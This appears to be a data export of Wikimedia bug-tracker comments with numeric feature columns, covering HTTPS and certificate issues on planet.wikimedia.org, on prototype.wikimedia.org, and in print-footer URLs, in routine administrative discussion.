(Error code: ssl_error_bad_cert_domain)

--------------------------
**Version**: unspecified
**Severity**: minor"
158566,Certificate security warning for https://en.planet.wikimedia.org,"resolved.

https://en.planet.wikimedia.org/

using a *.planet certificate",,,1362791114,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,4.1,0.9,"resolved.

URL

using a *.planet certificate"
158561,Certificate security warning for https://en.planet.wikimedia.org,yes. https://rt.wikimedia.org/Ticket/Display.html?id=3481,,,1359157312,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.0,yes. URL
158558,Certificate security warning for https://en.planet.wikimedia.org,"(In reply to comment #4)
> We are going to support SSL on planet in a little while now. Actually we got
> approval to buy a wildcard cert just for *.planet and this is being ordered
> now.

Is there a corresponding RT ticket or such?",,,1359156954,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,25.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.1666666666666665,0.8333333333333334,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE

Is there a corresponding RT ticket or such?"
158554,Certificate security warning for https://en.planet.wikimedia.org,P.S. Planet is an IPv6-enabled service since yesterday.,,,1359154867,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,27.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,1.0,P.S. Planet is an IPv6-enabled service since yesterday.
158548,Certificate security warning for https://en.planet.wikimedia.org,We are going to support SSL on planet in a little while now. Actually we got approval to buy a wildcard cert just for *.planet and this is being ordered now.,,,1359154829,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-31,True,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,15.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,15.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.735294117647059,0.8823529411764706,We are going to support SSL on planet in a little while now. Actually we got approval to buy a wildcard cert just for *.planet and this is being ordered now.
158542,Certificate security warning for https://en.planet.wikimedia.org,"""now the website will go through key exchange (sadly still with the
warning) and then redirect you to to the unencrypted equivalent page.""

So the original issue is still valid, but this might be a WONTFIX.",,,1353173223,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,True,,,-41,True,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8444444444444446,0.8444444444444444,"""now the website will go through key exchange (sadly still with the
warning) and then redirect you to to the unencrypted equivalent page.""

So the original issue is still valid, but this might be a WONTFIX."
158536,Certificate security warning for https://en.planet.wikimedia.org,"Then someone from the technical department may wish to address ...

https://en.wikipedia.org/wiki/Wikipedia:Wikipedia_Signpost/2011-12-19/Technology_report

No more planetary problems on https: With the resolution of bug #32028, visitors attempting to view certain Wikimedia blog ""planets"" will no longer be redirected away from the main site when trying (manually or automatically) to switch to the secure, https version of the site.",,,1324556664,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,False,,,-88,True,0.0,1.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,15.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,7.0,1.0,1.0,7.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,15.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,4.352941176470588,0.7941176470588235,"Then someone from the technical department may wish to address ...

URL

No more planetary problems on https: With the resolution of bug #32028, visitors attempting to view certain Wikimedia blog ""planets"" will no longer be redirected away from the main site when trying (manually or automatically) to switch to the secure, https version of the site."
158528,Certificate security warning for https://en.planet.wikimedia.org,"SSL on planet isn't really going to be supported right now.  At least you aren't being redirected to a non-planet website.

From https://rt.wikimedia.org/Ticket/Display.html?id=1854#txn-44455, CT Woo says:

 Per discussion in EMGT, let's take off https for planet.wikimedia.org for the
 time being.

Adding ctwoo to see if he has anything else to add.  Otherwise, resolving this later.",,,1324493948,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-vxuuvlrquymctzne2bhc,task_subcomment,,True,c2,1,False,,,-88,True,0.0,1.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,14.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,18.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,3.7162162162162162,0.8108108108108109,"SSL on planet isn't really going to be supported right now.  At least you aren't being redirected to a non-planet website.

From URL CT Woo says:

 Per discussion in EMGT, let's take off https for planet.wikimedia.org for the
 time being.

Adding ctwoo to see if he has anything else to add.  Otherwise, resolving this later."
34893,server prototype.wikimedia.org has no https,"Updating a mediawiki file @enWP, and the call of javascript only works for http:// call


Working
http://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js

Not working
https://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1323415320,1323556952.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-s6esjv72iihkh6eqj5rd,task_description,declined,True,c2,1,False,False,True,-90,True,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,17.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,4.309523809523809,0.6666666666666666,"Updating a mediawiki fileSCREEN_NAME, and the call of javascript only works for http:// call


Working
URL

Not working
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
161664,server prototype.wikimedia.org has no https,I am happy with this being marked as WONT FIX.  I was just following general instructions for where no https.,,,1323520272,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-s6esjv72iihkh6eqj5rd,task_subcomment,,True,c2,1,False,,,-90,True,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,17.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,9.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.9130434782608696,0.9130434782608695,I am happy with this being marked as WONT FIX.  I was just following general instructions for where no https.
161660,server prototype.wikimedia.org has no https,"In theory you should not load anything from Prototype, on the assumption it may disappear at any moment.",,,1323434141,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-s6esjv72iihkh6eqj5rd,task_subcomment,,True,c2,1,True,,,-90,True,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,20.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.35,1.0,"In theory you should not load anything from Prototype, on the assumption it may disappear at any moment."
161655,server prototype.wikimedia.org has no https,"Are you saying that enWP should be looking to stop using that gadget, or at least calling that js gadget from that server and have it hosted elsewhere?",,,1323416690,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-s6esjv72iihkh6eqj5rd,task_subcomment,,True,c2,1,False,,,-90,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,3.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,4.133333333333334,0.8666666666666667,"Are you saying that enWP should be looking to stop using that gadget, or at least calling that js gadget from that server and have it hosted elsewhere?"
161649,server prototype.wikimedia.org has no https,"I believe we are planning to kill off the prototype instances for labs setup, But I don't know how far off that is.",,,1323415953,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-s6esjv72iihkh6eqj5rd,task_subcomment,,True,c2,1,False,,,-90,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,15.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,8.0,12.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.576923076923077,0.9230769230769231,"I believe we are planning to kill off the prototype instances for labs setup, But I don't know how far off that is."
34457,"mwEmbed is hosted on prototype.mw, meaning that it does not support https","Hi,

It there anything against moving mwEmbed to commons / meta instead of prototype?

If it's only about having people to do the job, I'm considering to ask for editinterface rights for other security fixes related to https, so maybe I could do this too.

Best regards,

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1321527720,1354802591.0,PHID-USER-irahijhmu2pqmwuewejz,False,,False,PHID-TASK-ackqn6rfquls6bmfr3dl,task_description,declined,True,c2,1,False,False,True,-93,True,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,3.0,1.0,8.0,13.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,5.0,13.0,3.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.9342105263157894,0.7236842105263158,"Hi,

It there anything against moving mwEmbed to commons / meta instead of prototype?

If it's only about having people to do the job, I'm considering to ask for editinterface rights for other security fixes related to https, so maybe I could do this too.

Best regards,

--------------------------
**Version**: unspecified
**Severity**: normal"
162208,"mwEmbed is hosted on prototype.mw, meaning that it does not support https","Assuming this is obsolete now as prototype.* is going to die soon.
We won't fix issues on prototype anymore.

Jérémie: If this is still a problem on labsconsole etc, please file a new report against MediaWiki extensions > TimedMediaHandler. Thanks!",,,1354802591,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ackqn6rfquls6bmfr3dl,task_subcomment,,True,c2,1,True,,,-38,True,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,6.0,14.0,2.0,0.0,8.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,2.0,14.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,4.137254901960785,0.8235294117647058,"Assuming this is obsolete now as prototype.* is going to die soon.
We won't fix issues on prototype anymore.

Jérémie: If this is still a problem on labsconsole etc, please file a new report against MediaWiki extensions > TimedMediaHandler. Thanks!"
162200,"mwEmbed is hosted on prototype.mw, meaning that it does not support https","prototype.wikimedia.org is going to get killed soon (see bug 41433). 
Does the issue of missing https:// still applies to a currently supported testing server (labsconsole?)?

Native support for mwEmbed via TMH is in place now (see bug 27699).

(In reply to comment #1 by Michael Dale)
> After we deploy TMH I can look at porting the other mwEmbed components ( video
> editor ) over to the new gadget system. 

Michael: Is that still desirable or is this a WONTFIX?",,,1354458020,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ackqn6rfquls6bmfr3dl,task_subcomment,,True,c2,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,14.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,5.0,0.0,4.0,0.0,0.0,11.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.810126582278481,0.7088607594936709,"prototype.wikimedia.org is going to get killed soon (see bug 41433). 
Does the issue of missing https:// still applies to a currently supported testing server (labsconsole?)?

Native support for mwEmbed via TMH is in place now (see bug 27699).

(In reply to comment #1 by Michael Dale)
QUOTE
QUOTE

Michael: Is that still desirable or is this a WONTFIX?"
162191,"mwEmbed is hosted on prototype.mw, meaning that it does not support https",*** Bug 34520 has been marked as a duplicate of this bug. ***,,,1329760235,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ackqn6rfquls6bmfr3dl,task_subcomment,,True,c2,1,True,,,-80,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 34520 has been marked as a duplicate of this bug. ***
162188,"mwEmbed is hosted on prototype.mw, meaning that it does not support https","**mdale** wrote:

mwEmbed presently makes use of a custom loading framework. So it would not be easy to just ""move it over"" to commons. We are working on ~native~ support for mwEmbed in an extension called Timed Media Handler see bug 27699 

After we deploy TMH I can look at porting the other mwEmbed components ( video editor ) over to the new gadget system. 

--michael",,,1321548752,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ackqn6rfquls6bmfr3dl,task_subcomment,,True,c2,1,False,,,-93,True,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,3.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,6.0,14.0,5.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,3.8987341772151898,0.810126582278481,"**mdale** wrote:

mwEmbed presently makes use of a custom loading framework. So it would not be easy to just ""move it over"" to commons. We are working on ~native~ support for mwEmbed in an extension called Timed Media Handler see bug 27699 

After we deploy TMH I can look at porting the other mwEmbed components ( video editor ) over to the new gadget system. 

--michael"
33322,Retrievedfrom URI in print footer is not using httpS on secure server,"E.g. https://en.wikipedia.org/wiki/Main_Page gives:

Retrieved from ""<a href=""http://en.wikipedia.org/wiki/Main_Page"">http://en.wikipedia.org/wiki/Main_Page</a>""</div>

--------------------------
**Version**: unspecified
**Severity**: trivial",Lowest,10.0,1317644580,1329755693.0,PHID-USER-p5svl2m3pqm6jjgznnhz,False,,False,PHID-TASK-3qaricqklgktafy6sffw,task_description,declined,True,c2,1,False,False,True,-100,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.896551724137931,0.6206896551724138,"E.g. URL gives:

Retrieved from ""<a href=""URL

--------------------------
**Version**: unspecified
**Severity**: trivial"
149394,Retrievedfrom URI in print footer is not using httpS on secure server,%%%*** Bug 34107 has been marked as a duplicate of this bug. ***%%%,,,1336531399,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-3qaricqklgktafy6sffw,task_subcomment,,True,c2,1,False,,,-68,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 34107 has been marked as a duplicate of this bug. ***%%%
149387,Retrievedfrom URI in print footer is not using httpS on secure server,"Closing bug per Bawolff comment 3.

Thanks for reporting the issue.",,,1329755693,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3qaricqklgktafy6sffw,task_subcomment,,True,c2,1,True,,,-80,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.142857142857143,0.9285714285714286,"Closing bug per Bawolff comment 3.

Thanks for reporting the issue."
149382,Retrievedfrom URI in print footer is not using httpS on secure server,">Isn't the canonical form on httpS suposed to point to https?

no - Each website is supposed to have only one canonical form for its url (canonical form would be what we send out on say email notifications and things like that)


We're trying to make it so that the https and http version of a page are identical, which is why just one form of the url is used on the bottom.",,,1318105678,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-3qaricqklgktafy6sffw,task_subcomment,,True,c2,1,False,,,-99,True,1.0,0.0,0.0,3.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,4.0,16.0,0.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,19.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,4.0,4.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,3.6857142857142855,0.8,"QUOTE

no - Each website is supposed to have only one canonical form for its url (canonical form would be what we send out on say email notifications and things like that)


We're trying to make it so that the https and http version of a page are identical, which is why just one form of the url is used on the bottom."
149376,Retrievedfrom URI in print footer is not using httpS on secure server,"(In reply to comment #1)
> Not a bug, printfooter explicitly uses the canonical form, not protocol
> relative.

Isn't the canonical form on httpS suposed to point to https?

